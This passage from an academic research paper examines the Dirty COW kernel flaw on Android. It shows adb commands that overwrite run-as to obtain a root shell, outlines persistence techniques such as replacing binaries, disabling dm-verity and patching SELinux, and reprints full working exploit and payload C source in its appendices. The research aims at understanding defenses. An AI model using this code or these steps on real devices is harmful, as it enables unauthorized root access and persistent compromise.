Execute the race condition by invoking the exploit as well as `run-as` as `INFILE` and `OUTFILE`, the destination being the original, read-only `/system/bin/run-as` mapping. If needed, set the padding in the parameters. Execute the now compromised `run-as` command to open the interactive root shell.

```
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as --no-pad'
adb shell run-as
```

4.4 Post-Exploitation

Once Dirty COW is successfully exploited on Android, various strategies are possible for the attackers to expand or maintain a foothold in the system. Once privileges are escalated, attackers want to ensure persistency by having at least one method to reliably regain control at will and prevent the system from noticing any compromise. Due to Android's in-depth security layers, post-exploitation techniques are bound to the hardware and software of target device, its security controls enabled and the goals attackers want to achieve. Here are some practical post-exploitation alternatives for Android that answer to the fourth research question (RQ4):

1. **Replacing System Binaries:** By crafting new payloads, attackers can overwrite critical binaries or custom daemons with a compromised version by stamping them to read-only mappings with the Dirty COW vulnerability. Next targets could be non-essential executable running with elevated privileges. Replacing binaries such as `toybox`[57], `toolbox` or daemons like logging services or debugging tools would not cause the system to crash if their were a failure. Another interesting feat of compromising `toybox` and `toolbox` is that they are multi-call utilities, meaning a single compromised binary could have consequences with other commands. They are less likely to be monitored by integrity-checking mechanisms but still, these protections are the one greatest prevention to achieve persistency. Another challenge is to manage to remount `/system` partition as read/write, which is not allowed by SELinux even as root. If attackers manage to disable SELinux or not to enforce read-only partitions, presents a large risk of entering recovery mode, making the device unbootable. Vulnerabilities for replacing system binaries include the highly critical Qualcomm buffer overflow `CVE-2021-1972`[58]. Also the `Janus`[59] vulnerability, CVE-2017-13156, allows attackers to modify APK files without invalidating their signatures.

2. **Hooking System Services:** System services like `system_server` and `zygote` are foundational components of Android's operating system. These services operate with elevated privileges and handle crucial tasks, including system-wide operations and managing application lifecycles. To compromise

[57] Android Open Source Project: Toybox: Android's Common Command Line Tools, *AOSP Documentation. Accessed: January 21, 2024*, 2024, https://landley.net/toybox/.

[58] Qualcomm Product Security: Kernel Local Privilege Escalation CVE-2021-1972, tech. rep., *Security Bulletin. Accessed: January 21, 2024*, Qualcomm Technologies, Inc., Feb. 2021, https://www.qualcomm.com/company/product-security/bulletins/february-2021-bulletin.

[59] Collin Mulliner/Tim Strazzere: Janus Vulnerability: Allowing Attackers to Modify Android Apps Without Affecting Signatures, in: GuardSquare Security Research, Dec. 2017, *CVE-2017-13156. Accessed: January 21, 2024*, https://www.guardsquare.com/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures.

these processes, attackers could inject malicious code in order to intercept high-level API calls and manipulate user data. Critical shared libraries like `libandroid_runtime.so` for `zygote` and `libc.so` are high potential targets for them to ensure persistency, although under stricter surveillance by the system. `Init scripts`, running each time a device reboots, solid targets for compromise, hence the heavier protection they benefit additionally to flush mechanisms and impossibility to reboot if they are tampered with. Depending on the specific models of targeted device, the `PingPongRoot` vulnerability, CVE-2015-3636[60], is well known for achieving privilege escalation via system services.

3. **Disabling Verified Boot:** Exploiting improperly configured and open bootloaders, often using the `fastboot` utility. It involves bypassing AVB checks without triggering recovery mode, sometimes OEM inadvertently leaves debug or testing hooks that can be abused. Attackers could then modify the boot image, disable `dm-verity` in the `fstab` file before repacking and flashing a compromised version. Possible TEE and hardware-level access will pose problem for exploiting a bootloader. In the matter of Android Verified Boot, CVE-2020-0069 said `MagiskHide`[61] vulnerability exploits improperly configured AVB to bypass dm-verity checks.

4. **Manipulating SELinux:** Using Dirty COW, attackers might tamper with SELinux policy files stored in `/sepolicy`[62]. Attackers can hook or patch SELinux kernel modules to bypass policy enforcement at runtime. For example, modifying `security_compute_av()`, function that evaluates access decisions to always return "allow". On older or rooted devices, SELinux policy injections are more straightforward because a locked bootloader and AVB won't oppose a tampering attempt.

5 Conclusion

This research paper highlights the potential for a kernel-level race condition to undermine Android's layered security architecture under specific circumstances. Abusing the nonatomic Copy-On-Write mechanism allows attackers to escalate privileges, tamper with system critical binaries or kernel configurations. However, the modern Android ecosystem has introduced a range of countermeasures—such as SELinux, dm-verity, Verified Boot and hardware-backed security through TEE—that greatly harden the security posture of their environment and diminish the feasibility of the Dirty COW exploit, especially for achieving persistent control as a post-exploitation goal.

Our analysis of Android-specific memory management revealed how vendor customizations and hardware variations create significant challenges for exploit reliability. The vendor-specific SoC implementations, selective security enhancements, and unique scheduling policies demonstrate why standardizing exploitation techniques across Android's fragmented ecosystem remains complex and device-dependent. While the absence of setuid binaries provides baseline protection, our practical demonstration with run-as highlights how attackers can leverage special-purpose binaries and privileged system services for elevation, though modern security controls significantly restrict such attempts. The investigation of post-exploitation strategies identified several theoretical approaches for maintaining system access, particularly through system binary replacement, service hooking via zygote and system_server manipulation, and SELinux policy modifications. However, Android's robust defensive layers and hardware-backed security features present significant obstacles to establishing persistent system compromise. This defense-in-depth approach effectively contains kernel-level vulnerabilities like Dirty COW, limiting their practical impact even when successfully exploited. The difficulty in achieving persistence, especially on modern Android versions with enforced cryptographic verification and integrity checks, underscores the effectiveness of Android's security architecture in mitigating even fundamental kernel flaws. Beyond the specific case of Dirty COW, this research emphasizes

[60] Jason A. Donenfeld: Analysis of PingPongRoot (CVE-2015-3636), tech. rep., *Technical analysis of ping socket vulnerability. Accessed: January 21, 2024*, Edge Security LLC, June 2015, https://github.com/fi01/CVE-2015-3636.

[61] Android Security Team: Android Verified Boot Bypass via MagiskHide, tech. rep., *CVE-2020-0069. Accessed: January 21, 2024*, Android Open Source Project, Mar. 2020, https://source.android.com/security/bulletin/2020-03-01.

[62] Pierre-Hugues Husson: sepolicy-inject: Tool for Injecting Rules into Binary SELinux Kernel Policies, *Last commit 76a26a4. Accessed: January 21, 2024*, 2016, https://github.com/phhusson/sepolicy-inject.

the critical role of layered security in mobile operating systems. Our findings demonstrate the importance of hardware-backed security features, strict process isolation, and cryptographic verification in preventing persistent system compromise. These insights contribute to a broader understanding of how mobile operating systems can be hardened against kernel-level exploits while maintaining functionality. Future research should focus on emerging attack vectors that may bypass these security layers, particularly in the context of vendor-specific implementations, and investigate new methods for detecting and preventing kernel-level exploitation attempts in real-time.

References

Alam, Delwar, Moniruz Zaman, et al.: Study of the Dirty Copy on Write, a Linux Kernel Memory Allocation Vulnerability, in: ResearchGate 2017, *Chapter 3, Subchapter A: Linux Memory Allocation. Accessed: December 20, 2024*, pp. 3–7, https://www.researchgate.net/publication/316989907_Study_of_the_Dirty_Copy_On_Write_A_Linux_Kernel_Memory_Allocation_Vulnerability.

Idem: Study of the Dirty Copy on Write, a Linux Kernel Memory Allocation Vulnerability, in: ResearchGate 2017, *Chapter 4 Analysis Of Dirty COW Attack. Accessed: December 20, 2024*, pp. 4–7, https://www.researchgate.net/publication/316989907_Study_of_the_Dirty_Copy_On_Write_A_Linux_Kernel_Memory_Allocation_Vulnerability.

Android Developers: Use the NDK with Other Build Systems, 2024.

Android Open Source Project: Android Security Bulletin—November 2016, *Published: November 7, 2016. Updated: December 21, 2016. Accessed: December 19, 2024*, 2016, https://source.android.com/docs/security/bulletin/2016-11-01.

Idem: Application Sandbox, *Last updated: December 18, 2024. Accessed: December 19, 2024*, 2024, https://source.android.com/security/app-sandbox.

Idem: Security-Enhanced Linux in Android, *Last updated: August 26, 2024. Accessed: December 19, 2024*, 2024, https://source.android.com/docs/security/features/selinux.

Idem: Toybox: Android's Common Command Line Tools, *AOSP Documentation. Accessed: January 21, 2024*, 2024, https://landley.net/toybox/.

Idem: Verified Boot, *Last updated: August 26, 2024. Accessed: December 19, 2024*, 2024, https://source.android.com/security/verifiedboot.

Android Open Source Project (AOSP): Android Compatibility Definition Document, *Accessed: December 23, 2024*, 2024, https://source.android.com/docs/compatibility/cdd.

Android Security Team: Android Verified Boot Bypass via MagiskHide, tech. rep., *CVE-2020-0069. Accessed: January 21, 2024*, Android Open Source Project, Mar. 2020, https://source.android.com/security/bulletin/2020-03-01.

AOSP: Android common kernels, https://source.android.com/docs/core/architecture/kernel/android-common, *Accessed: December 19, 2024*, Dec. 2024.

Baker, Kurt: Indicators of Compromise (IOC) Security, *Accessed: December 22, 2024*, Oct. 2022, https://www.cybersecurity101.com/indicators-of-compromise-security.

Beer, Ian, Zhuowei Zhang, and timwr: macOS Dirty Cow Arbitrary File Write Local Privilege Escalation in the Metasploit Framework, *Accessed: December 19, 2024*, Dec. 2022, https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/mac_dirty_cow.rb.

Bovet, Daniel P. and Marco Cesati: Understanding the Linux Kernel, 2005.

Community, The Linux Kernel Development: Seccomp BPF (SECure COMPuting with filters), version 4.19.0, *Accessed: December 22, 2024*, 2024, https://www.kernel.org/doc/html/v4.19/userspace-api/seccomp_filter.html.

Idem: Smack - Simplified Mandatory Access Control Kernel, version 4.14.0, *Accessed: December 22, 2024*, 2017, https://www.kernel.org/doc/html/v4.14/admin-guide/LSM/Smack.html.

Idem: Spinlocks - Linux Kernel Documentation, *Accessed: December 21, 2024*, 2024, https://www.kernel.org/doc/html/latest/locking/spinlocks.html.

Corporation, IBM: Label-based Access Control (LBAC) - IBM Db2 11.5 Documentation, *Accessed: December 22, 2024*, 2024, https://www.ibm.com/docs/en/db2/11.5?topic=security-label-based-access-control-lbac.

Corporation, MITRE: CVE-2016-5195: Dirty COW Linux Privilege Escalation Vulnerability, *Accessed: December 19, 2024*, 2016, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195.

Developers, Android: Android Debug Bridge (adb), https://developer.android.com/tools/adb, *Accessed: December 23, 2024*, Android Developers, 2024.

Idem: Run apps on the Android Emulator, https://developer.android.com/studio/run/emulator, *Accessed: December 23, 2024*, Android Developers, 2024.

die.net: setresgid(2) - Linux Man Page, 2024, https://linux.die.net/man/2/setresgid.

dirtycow: Dirty COW (CVE-2016-5195) Exploit C File, https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c, *Accessed: December 20, 2024*, 2016.

Donenfeld, Jason A.: Analysis of PingPongRoot (CVE-2015-3636), tech. rep., *Technical analysis of ping socket vulnerability. Accessed: January 21, 2024*, Edge Security LLC, June 2015, https://github.com/fi01/CVE-2015-3636.

FireFart: Dirty COW PoC to modify /etc/passwd, *Accessed: December 21, 2024*, 2017, https://github.com/firefart/dirtycow.

Foll, Dominig ar: GL as a generic secured industrial embedded Linux, Presented at FOSDEM 2017, Embedded, mobile, and automotive devroom, *Accessed: December 22, 2024*, 2017, https://archive.fosdem.org/2017/schedule/event/agl_secure_industrial/.

gebl: dirtycow-docker-vdso: Dockerized Dirty COW Exploit Targeting vDSO, *Accessed: December 22, 2024*, 2016, https://github.com/gebl/dirtycow-docker-vdso.

Guo, James: Dirty-COW Attack Lab, *Accessed: December 20, 2024*, 2021, https://github.com/jamesguo71/SecurityReadings/blob/main/Dirty-COW%20Attack%20Lab.md.

Husson, Pierre-Hugues: sepolicy-inject: Tool for Injecting Rules into Binary SELinux Kernel Policies, *Last commit 76a26a4. Accessed: January 21, 2024*, 2016, https://github.com/phhusson/sepolicy-inject.

IBM: What is Virtualization?, *Accessed: December 22, 2024*, Mar. 2023, https://www.ibm.com/think/topics/virtualization.

Kerrisk, Michael: madvise(2) - Linux manual page, version 6.9.1, *Accessed: December 20, 2024*, 2024, https://www.man7.org/linux/man-pages/man2/madvise.2.html.

Idem: mmap(2) - Linux manual page, version 6.9.1, *Accessed: December 20, 2024*, 2024, https://www.man7.org/linux/man-pages/man2/mmap.2.html.

Idem: proc(5) - Linux manual page, version 6.9.1, *Accessed: December 21, 2024*, 2024, https://www.man7.org/linux/man-pages/man5/proc.5.html.

Idem: seccomp(2) - Linux manual page, version 6.9.1, *Accessed: December 22, 2024*, 2024, https://man7.org/linux/man-pages/man2/seccomp.2.html.

Idem: seccomp(2) - Linux manual page, version 6.9.1, *Accessed: December 22, 2024*, 2024, https://man7.org/linux/man-pages/man2/syscall.2.html.

Kerrisk, Michael and the systemd Development Team: systemd.service - Service unit configuration, *Accessed: December 23, 2024*, 2024.

Linux, Automotive Grade: 00-doorsNG-original.md - AGL Specifications v1.0, *Accessed: December 22, 2024*, 2015, https://github.com/automotive-grade-linux/docs-agl/blob/master/docs/agl-specs-v1.0/00-doorsNG-original.md.

Idem: Automotive Grade Linux Security Overview, *Accessed: December 22, 2024*, 2016, https://web.archive.org/web/20170606093533/http://docs.automotivelinux.org/docs/architecture/en/dev/reference/security/01-overview.html.

Linux man-pages project: ptrace(2) - Process Trace, *Part of the Linux kernel and C library user-space interface documentation project. This page is from version 6.9.1 of the Linux man-pages project.* May 2024.

Idem: setresuid(2), setresgid(2) - Set Real, Effective, and Saved User or Group ID, *Part of the Linux kernel and C library user-space interface documentation project. This page is from version 6.9.1 of the Linux man-pages project.* May 2024.

Melab: Effect of nosuid on executables inside the mounted filesystem, *Accessed: December 22, 2024*, Dec. 2015, https://unix.stackexchange.com/questions/250802/effect-of-nosuid-on-executables-inside-the-mounted-filesystem.

Mulliner, Collin and Tim Strazzere: Janus Vulnerability: Allowing Attackers to Modify Android Apps Without Affecting Signatures, in: GuardSquare Security Research, Dec. 2017, *CVE-2017-13156. Accessed: January 21, 2024*, https://www.guardsquare.com/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures.

Paganini, Pierluigi: Android Zero-Day Exploits are the Most Expensive in the New Zerodium Price List, *Accessed: December 22, 2024*, Sept. 2019, https://securityaffairs.com/90767/hacking/zerodium-price-list.html.

Pornin, Thomas: What attacks does a WX policy prevent against?, *Accessed: December 22, 2024*, 2012, https://security.stackexchange.com/questions/18936/what-attacks-does-a-wx-policy-prevent-against.

Project, Android Open Source: File-Based Encryption: Android Security Features, *Accessed: December 23, 2024*, 2024, https://source.android.com/docs/security/features/encryption/file-based.

Idem: Implement dm-verity: Android Security Features, *Accessed: December 23, 2024*, 2024, https://source.android.com/docs/security/features/verifiedboot/dm-verity.

Idem: Verified Boot: Ensuring the Integrity of the Operating System, *Accessed: December 22, 2024*, 2024, https://source.android.com/docs/security/features/verifiedboot.

Qualcomm Product Security: Kernel Local Privilege Escalation CVE-2021-1972, tech. rep., *Security Bulletin. Accessed: January 21, 2024*, Qualcomm Technologies, Inc., Feb. 2021, https://www.qualcomm.com/company/product-security/bulletins/february-2021-bulletin.

Rusling, David A.: The Linux Kernel: Memory Management, *Accessed: December 21, 2024*, 1999, chap. Chapter 3: Memory Management, https://tldp.org/LDP/tlk/mm/memory.html.

Security, Red Hat Product: Kernel Local Privilege Escalation "Dirty COW" - CVE-2016-5195, *Accessed: December 19, 2024*, Oct. 2016, https://access.redhat.com/security/vulnerabilities/DirtyCow.

Shames, Alyssa: Docker and Kubernetes: How They Work Together, *Accessed: December 22, 2024*, Nov. 2023, https://www.docker.com/blog/docker-and-kubernetes/.

Siemer, Robert and contributors: Which Android runs which Linux kernel?, *Accessed: December 21, 2024*, 2013, https://android.stackexchange.com/questions/51651/which-android-runs-which-linux-kernel.

Snelgrove, Steve: The dangers of the Dirty COW vulnerability: Should you be worried?, *Accessed: December 19, 2024*, Oct. 2016, https://www.securitymetrics.com/blog/dangers-dirty-cow-vulnerability-should-you-be-worried.

Software, Paranoid: Dirty COW - (CVE-2016-5195) - Docker Container Escape, *Accessed: December 22, 2024*, 2021, https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/.

Staff, DevX Editorial: Android Fragmentation, *Accessed: December 23, 2024*, 2023, %5Curl%7Bhttps://www.devx.com/terms/android-fragmentation%7D.

SUSE Documentation Team: Understanding SELinux Basics, *Publication Date: 12 Dec 2024. Accessed: December 23, 2024*, SUSE LLC, Dec. 2024, https://documentation.suse.com/en-us/sle-micro/6.0/html/Micro-selinux/index.html.

Team, Grsecurity: Grsecurity and PaX: Comprehensive security for Linux, *Accessed: December 22, 2024*, 2024.

Triggs, Robert: What is an SoC? Everything you need to know about smartphone chipsets, *Accessed: December 23, 2024*, 2023, https://www.androidauthority.com/what-is-an-soc-smartphone-chipsets-explained-1051600/.

Veerabahu, Maharajan: Android for Embedded Devices - 5 Reasons why Android is used in Embedded Devices, *Accessed: December 23, 2024*, Nov. 2017, https://www.embeddedrelated.com/showarticle/1107.php.

Virdó, Hazel: How To Protect Your Server Against the Dirty COW Linux Vulnerability, *Accessed: December 19, 2024*, Oct. 2016, https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-dirty-cow-linux-vulnerability.

Wei, Lili et al.: Understanding and Detecting Fragmentation-Induced Compatibility Issues for Android Apps, in: IEEE Transactions on Software Engineering 46.11 (Nov. 2020), *Accessed: December 23, 2024*, pp. 1176–1199, %5Curl%7Bhttps://ieeexplore.ieee.org/document/8493348%7D.

Wright, Tim: CVE-2016-5195, https://github.com/timwr/CVE-2016-5195, *Accessed: December 22, 2024*, 2016.

6 Appendix Table: Code Overview

Filename	Git Repository	LOC	Description
dirtyc0w.c	dirtycow/dirtycow.github.io	85	Proof-of-concept C code for Dirty COW (CVE-2016-5195)
dirtycow.c	timwr/CVE-2016-5195	352	C Exploit code for Android dirtycow.c
run-as.c	timwr/CVE-2016-5195	70	C Payload code for Compromised Android run-as

A Code Annex: Generic Dirty COW

The following is the C code for the Dirty COW (CVE-2016-5195) exploit, sourced from GitHub. Demonstrates the technical exploitation of the Dirty COW vulnerability.

```c
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/
    vulnerabilities/2706661
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#
    c16
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
```

```c
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}
```

Listing 1: Dirty COW Exploit C Code

B Code Annex: Android `dirtycow.c` exploit

The following is the C code for the Android run-as payload, sourced from GitHub.

```c
#include <err.h>
#include <errno.h>
#include <assert.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/ptrace.h>

#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#elif PRINT
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#else
#define LOGV(...)
#endif

#define LOOP   0x1000000
#define TIMEOUT 1000

pid_t pid;

struct mem_arg  {
    void *offset;
    void *patch;
    off_t patch_size;
    const char *fname;
    volatile int stop;
    volatile int success;
};

static void *checkThread(void *arg) {
    struct mem_arg *mem_arg;
    mem_arg = (struct mem_arg *)arg;
    LOGV("[*] check thread starts, address %p, size %zd", mem_arg->offset, mem_arg->patch_size);
    struct stat st;
    int i;
    char * newdata = malloc(mem_arg->patch_size);
    for(i = 0; i < TIMEOUT && !mem_arg->stop; i++) {
        int f=open(mem_arg->fname, O_RDONLY);
        if (f == -1) {
            LOGV("could not open %s", mem_arg->fname);
            break;
        }
        if (fstat(f,&st) == -1) {
            LOGV("could not stat %s", mem_arg->fname);
            close(f);
            break;
        }
```

```c
        read(f, newdata, mem_arg->patch_size);
        close(f);

        int memcmpret = memcmp(newdata, mem_arg->patch, mem_arg->patch_size);
        if (memcmpret == 0) {
            mem_arg->stop = 1;
            mem_arg->success = 1;
            LOGV("[*] check thread stops, patch successful, iterations %d", i);
            goto cleanup;
        }
        usleep(100 * 1000);
    }
    LOGV("[*] check thread stops, timeout, iterations %d", i);

cleanup:
    if (newdata) {
        free(newdata);
    }
    mem_arg->stop = 1;
    return 0;
}

static void *madviseThread(void *arg)
{
    struct mem_arg *mem_arg;
    size_t size;
    void *addr;
    int i = 0, c = 0;

    mem_arg = (struct mem_arg *)arg;
    size = mem_arg->patch_size;
    addr = (void *)(mem_arg->offset);

    LOGV("[*] madvise thread starts, address %p, size %zd", addr, size);

    while(!mem_arg->stop) {
        c += madvise(addr, size, MADV_DONTNEED);
        i++;
    }

    LOGV("[*] madvise thread stops, return code sum %d, iterations %d", c, i);
    mem_arg->stop = 1;
    return 0;
}

static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)
{
    const unsigned char *s;
    unsigned long value;
    unsigned char *d;

    d = dest;
    s = src;

    while (n >= sizeof(long)) {
        if (*((long *) s) != *((long *) d)) {
            memcpy(&value, s, sizeof(value));
            if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
                warn("ptrace(PTRACE_POKETEXT)");
                return -1;
            }
        }

        n -= sizeof(long);
        d += sizeof(long);
```

```
        s += sizeof(long);
    }

    if (n > 0) {
        d -= sizeof(long) - n;

        errno = 0;
        value = ptrace(PTRACE_PEEKTEXT, pid, d, NULL);
        if (value == -1 && errno != 0) {
            warn("ptrace(PTRACE_PEEKTEXT)");
            return -1;
        }

        memcpy((unsigned char *)&value + sizeof(value) - n, s, n);
        if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
            warn("ptrace(PTRACE_POKETEXT)");
            return -1;
        }
    }

    return 0;
}

static void *ptraceThread(void *arg)
{
    struct mem_arg *mem_arg;
    mem_arg = (struct mem_arg *)arg;

    LOGV("[*] ptrace thread starts, address %p, size %zd", mem_arg->offset, mem_arg->
        patch_size);

    int i = 0, c = 0;
    while (!mem_arg->stop) {
        c += ptrace_memcpy(pid, mem_arg->offset, mem_arg->patch, mem_arg->patch_size);
        i++;
    }

    LOGV("[*] ptrace thread stops, return code sum %d, iterations %i", c, i);

    mem_arg->stop = 1;
    return NULL;
}

int canwritetoselfmem(void *arg) {
    struct mem_arg *mem_arg;
    mem_arg = (struct mem_arg *)arg;
    int fd = open("/proc/self/mem", O_RDWR);
    if (fd == -1) {
        LOGV("open(\"/proc/self/mem\"");
    }
    int returnval = -1;
    lseek(fd, (off_t)mem_arg->offset, SEEK_SET);
    if (write(fd, mem_arg->patch, mem_arg->patch_size) == mem_arg->patch_size) {
        returnval = 0;
    }

    close(fd);
    return returnval;
}

static void *procselfmemThread(void *arg)
{
    struct mem_arg *mem_arg;
    int fd, i, c = 0;
    mem_arg = (struct mem_arg *)arg;
```

```c

    fd = open("/proc/self/mem", O_RDWR);
    if (fd == -1) {
        LOGV("open(\"/proc/self/mem\"");
    }

    for (i = 0; i < LOOP && !mem_arg->stop; i++) {
        lseek(fd, (off_t)mem_arg->offset, SEEK_SET);
        c += write(fd, mem_arg->patch, mem_arg->patch_size);
    }

    LOGV("[*] /proc/self/mem %d %i", c, i);

    close(fd);

    mem_arg->stop = 1;
    return NULL;
}

static void exploit(struct mem_arg *mem_arg)
{
    pthread_t pth1, pth2, pth3;

    LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);

    mem_arg->stop = 0;
    mem_arg->success = 0;

    if (canwritetoselfmem(mem_arg) == -1) {
        LOGV("[*] using ptrace method");
        pid=fork();
        if(pid) {
            pthread_create(&pth3, NULL, checkThread, mem_arg);
            waitpid(pid,NULL,0);
            ptraceThread((void*)mem_arg);
            pthread_join(pth3, NULL);
        } else {
            pthread_create(&pth1, NULL, madviseThread, mem_arg);
            ptrace(PTRACE_TRACEME);
            kill(getpid(),SIGSTOP);
            // we're done, tell madviseThread to stop and wait for it
            mem_arg->stop = 1;
            pthread_join(pth1, NULL);
        }
    } else {
        LOGV("[*] using /proc/self/mem method");
        pthread_create(&pth3, NULL, checkThread, mem_arg);
        pthread_create(&pth1, NULL, madviseThread, mem_arg);
        pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
        pthread_join(pth3, NULL);
        pthread_join(pth1, NULL);
        pthread_join(pth2, NULL);
    }

    LOGV("[*] finished pid=%d sees %p=%lx", pid, (void*)mem_arg->offset, *(unsigned long*)
        mem_arg->offset);
}

int dcow(int argc, const char * argv[])
{
    if (argc < 2 || argc > 4) {
        LOGV("Usage %s INFILE OUTFILE [--no-pad]", argv[0]);
        LOGV("  INFILE: file to read from, e.g., /data/local/tmp/default.prop")
        LOGV("  OUTFILE: file to write to, e.g., /default.prop")
        LOGV("  --no-pad: If INFILE is smaller than OUTFILE, overwrite the")
```

```c
        LOGV("    beginning of OUTFILE only, do not fill the remainder with")
        LOGV("    zeros (option must be given last)")
        return 0;
    }

    int ret = 0;
    const char * fromfile = argv[1];
    const char * tofile = argv[2];
    LOGV("dcow %s %s", fromfile, tofile);

    struct mem_arg mem_arg;
    struct stat st;
    struct stat st2;

    int f = open(tofile, O_RDONLY);
    if (f == -1) {
        LOGV("could not open %s", tofile);
        ret = -1;
        goto cleanup;
    }
    if (fstat(f,&st) == -1) {
        LOGV("could not stat %s", tofile);
        ret = 1;
        goto cleanup;
    }

    int f2=open(fromfile, O_RDONLY);
    if (f2 == -1) {
        LOGV("could not open %s", fromfile);
        ret = 2;
        goto cleanup;
    }
    if (fstat(f2,&st2) == -1) {
        LOGV("could not stat %s", fromfile);
        ret = 3;
        goto cleanup;
    }

    size_t size = st2.st_size;
    if (st2.st_size != st.st_size) {
        LOGV("warning: source file size (%lld) and destination file size (%lld) differ", (unsigned long long)st2.st_size, (unsigned long long)st.st_size);
        if (st2.st_size > st.st_size) {
            LOGV("         corruption?\n");
        }
        else if (argc > 3 && strncmp(argv[3], "--no-pad", 8) == 0) {
            LOGV("         will overwrite first %lld bytes of destination only\n", (unsigned long long)size);
        }
        else {
            LOGV("         will append %lld zero bytes to source\n", (unsigned long long)(st.st_size - st2.st_size));
            size = st.st_size;
        }
    }

    LOGV("[*] size %zd", size);
    mem_arg.patch = malloc(size);
    if (mem_arg.patch == NULL) {
        ret = 4;
        goto cleanup;
    }

    mem_arg.patch_size = size;
    memset(mem_arg.patch, 0, size);
```

```
    mem_arg.fname = argv[2];

    read(f2, mem_arg.patch, size);
    close(f2);

    /*read(f, mem_arg.unpatch, st.st_size);*/

    void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0);
    if (map == MAP_FAILED) {
        LOGV("mmap");
        ret = 5;
        goto cleanup;
    }

    LOGV("[*] mmap %p", map);

    mem_arg.offset = map;

    exploit(&mem_arg);

    close(f);
    f = -1;
    // to put back
    /*exploit(&mem_arg, 0);*/
    if (mem_arg.success == 0) {
        ret = -1;
    }

cleanup:
    if(f > 0) {
        close(f);
    }
    if(mem_arg.patch) {
        free(mem_arg.patch);
    }

    return ret;
}
```

Listing 2: Dirty COW Exploit C Android dirtycow

C Code Annex: Android `run-as.c` payload

The following is the C code for the Android run-as payload, sourced from GitHub.

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include <dlfcn.h>
#include <fcntl.h>

#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#elif PRINT
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#else
#define LOGV(...)
#endif

//reduce binary size
char __aeabi_unwind_cpp_pr0[0];

typedef int getcon_t(char ** con);
typedef int setcon_t(const char* con);

int main(int argc, const char **argv)
{
    LOGV("uid %s %d", argv[0], getuid());

    if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) {
        LOGV("setresgid/setresuid failed");
    }

    LOGV("uid %d", getuid());

    dlerror();
#ifdef __aarch64__
    void * selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY);
#else
    void * selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY);
#endif
    if (selinux) {
        void * getcon = dlsym(selinux, "getcon");
        const char *error = dlerror();
        if (error) {
            LOGV("dlsym error %s", error);
        } else {
            getcon_t * getcon_p = (getcon_t*)getcon;
            char * secontext;
            int ret = (*getcon_p)(&secontext);
            LOGV("%d %s", ret, secontext);
            void * setcon = dlsym(selinux, "setcon");
            const char *error = dlerror();
            if (error) {
                LOGV("dlsym setcon error %s", error);
            } else {
                setcon_t * setcon_p = (setcon_t*)setcon;
                ret = (*setcon_p)("u:r:shell:s0");
                ret = (*getcon_p)(&secontext);
                LOGV("context %d %s", ret, secontext);
```

```c
            }
        }
        dlclose(selinux);
    } else {
        LOGV("no selinux?");
    }

    system("/system/bin/sh -i");

}
```

